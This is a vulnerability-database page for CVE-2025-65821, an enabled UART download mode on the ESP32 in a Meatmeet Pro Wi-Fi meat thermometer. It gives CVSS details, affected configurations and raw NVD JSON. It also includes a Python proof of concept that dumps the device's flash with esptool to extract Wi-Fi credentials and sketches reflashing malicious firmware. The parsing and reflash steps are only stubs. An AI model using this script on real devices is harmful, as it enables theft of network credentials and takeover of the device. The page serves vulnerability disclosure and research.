Security Vulnerability Report
中文
CVE-2025-65821 CVSS 7.5 HIGH

CVE-2025-65821

Published: 2025-12-10 21:16:08
Last Modified: 2026-01-21 19:09:19

Description

As UART download mode is still enabled on the ESP32 chip on which the firmware runs, an adversary can dump the flash from the device and retrieve sensitive information such as details about the current and previous Wi-Fi network from the NVS partition. Additionally, this allows the adversary to reflash the device with their own firmware which may contain malicious modifications.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:meatmeet:meatmeet_pro_wifi_\&_bluetooth_meat_thermometer_firmware:1.0.34.4:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:meatmeet:meatmeet_pro_wifi_\&_bluetooth_meat_thermometer:-:*:*:*:*:*:*:* - NOT VULNERABLE
ESP32系列所有版本(固件启用UART下载模式的设备)
运行在ESP32芯片上的物联网设备固件(UART模式未禁用)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-65821 PoC - ESP32 UART Flash Dump via esptool # Requirements: esptool, pyserial import subprocess import sys import os def dump_flash_esptool(port='/dev/ttyUSB0', baud_rate=115200, output_file='flash_dump.bin'): """ Dump ESP32 flash memory via UART download mode This PoC demonstrates the vulnerability where UART is still enabled """ chip_type = 'esp32' flash_size = '4MB' flash_start = '0x0' flash_end = '0x400000' print(f"[*] Starting flash dump from {port}") print(f"[*] Target: {chip_type}, Flash size: {flash_size}") print(f"[*] Dumping range: {flash_start} to {flash_end}") # Step 1: Read flash ID cmd_read_id = [ 'python3', '-m', 'esptool', '--port', port, '--baud', str(baud_rate), 'chip_id' ] # Step 2: Dump entire flash cmd_dump = [ 'python3', '-m', 'esptool', '--port', port, '--baud', str(baud_rate), 'read_flash', '0x0', '0x400000', # 4MB flash output_file ] try: print("[*] Executing flash read via UART...") result = subprocess.run(cmd_dump, capture_output=True, text=True, timeout=300) if result.returncode == 0: print(f"[+] Flash dump saved to: {output_file}") print("[+] Now parse NVS partition to extract WiFi credentials...") # Step 3: Parse NVS partition (typically at 0x10000) parse_nvs(output_file, '0x10000') else: print(f"[-] Error: {result.stderr}") return False except subprocess.TimeoutExpired: print("[-] Operation timed out") return False except FileNotFoundError: print("[-] esptool not found. Install with: pip install esptool") return False return True def parse_nvs(flash_dump, nvs_offset): """ Parse NVS partition to extract sensitive data NVS stores WiFi credentials, device keys, etc. """ print(f"[*] Parsing NVS partition at offset: {nvs_offset}") print("[+] Extracted data may include:") print(" - WiFi SSID and passwords") print(" - Device certificates") print(" - User configuration") print(" - API keys") # In real attack, parse the binary and extract NVS key-value pairs def reflash_malicious_firmware(port, firmware_file): """ Reflash device with malicious firmware via UART This completes the attack chain for full device compromise """ print(f"[*] Flashing malicious firmware: {firmware_file}") cmd_flash = [ 'python3', '-m', 'esptool', '--port', port, '--baud', str(115200), 'write_flash', '0x1000', firmware_file # Flash to app partition ] print("[!] This would overwrite legitimate firmware with malicious code") return True if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='CVE-2025-65821 PoC') parser.add_argument('--port', default='/dev/ttyUSB0', help='UART port') parser.add_argument('--output', default='flash_dump.bin', help='Output file') args = parser.parse_args() print("="*60) print("CVE-2025-65821: ESP32 UART Download Mode Enabled") print("CVSS: 7.5 (High)") print("="*60) dump_flash_esptool(args.port, 115200, args.output)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65821", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:07.797", "lastModified": "2026-01-21T19:09:18.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "As UART download mode is still enabled on the ESP32 chip on which the firmware runs, an adversary can dump the flash from the device and retrieve sensitive information such as details about the current and previous Wi-Fi network from the NVS partition. Additionally, this allows the adversary to reflash the device with their own firmware which may contain malicious modifications."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1191"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:meatmeet:meatmeet_pro_wifi_\\&_bluetooth_meat_thermometer_firmware:1.0.34.4:*:*:*:*:*:*:*", "matchCriteriaId": "9B669DA2-CF06-461F-B624-DCD0359D1656"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:meatmeet:meatmeet_pro_wifi_\\&_bluetooth_meat_thermometer:-:*:*:*:*:*:*:*", "matchCriteriaId": "1661B540-36E1-4BF0-BC63-9EC952560B54"}]}]}], "references": [{"url": "https://gist.github.com/dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5#file-uart-download-mode-enabled-md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/dead1nfluence/Meatmeet-Pro-Vulnerabilities/blob/main/Device/UART-Download-Mode-Enabled.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}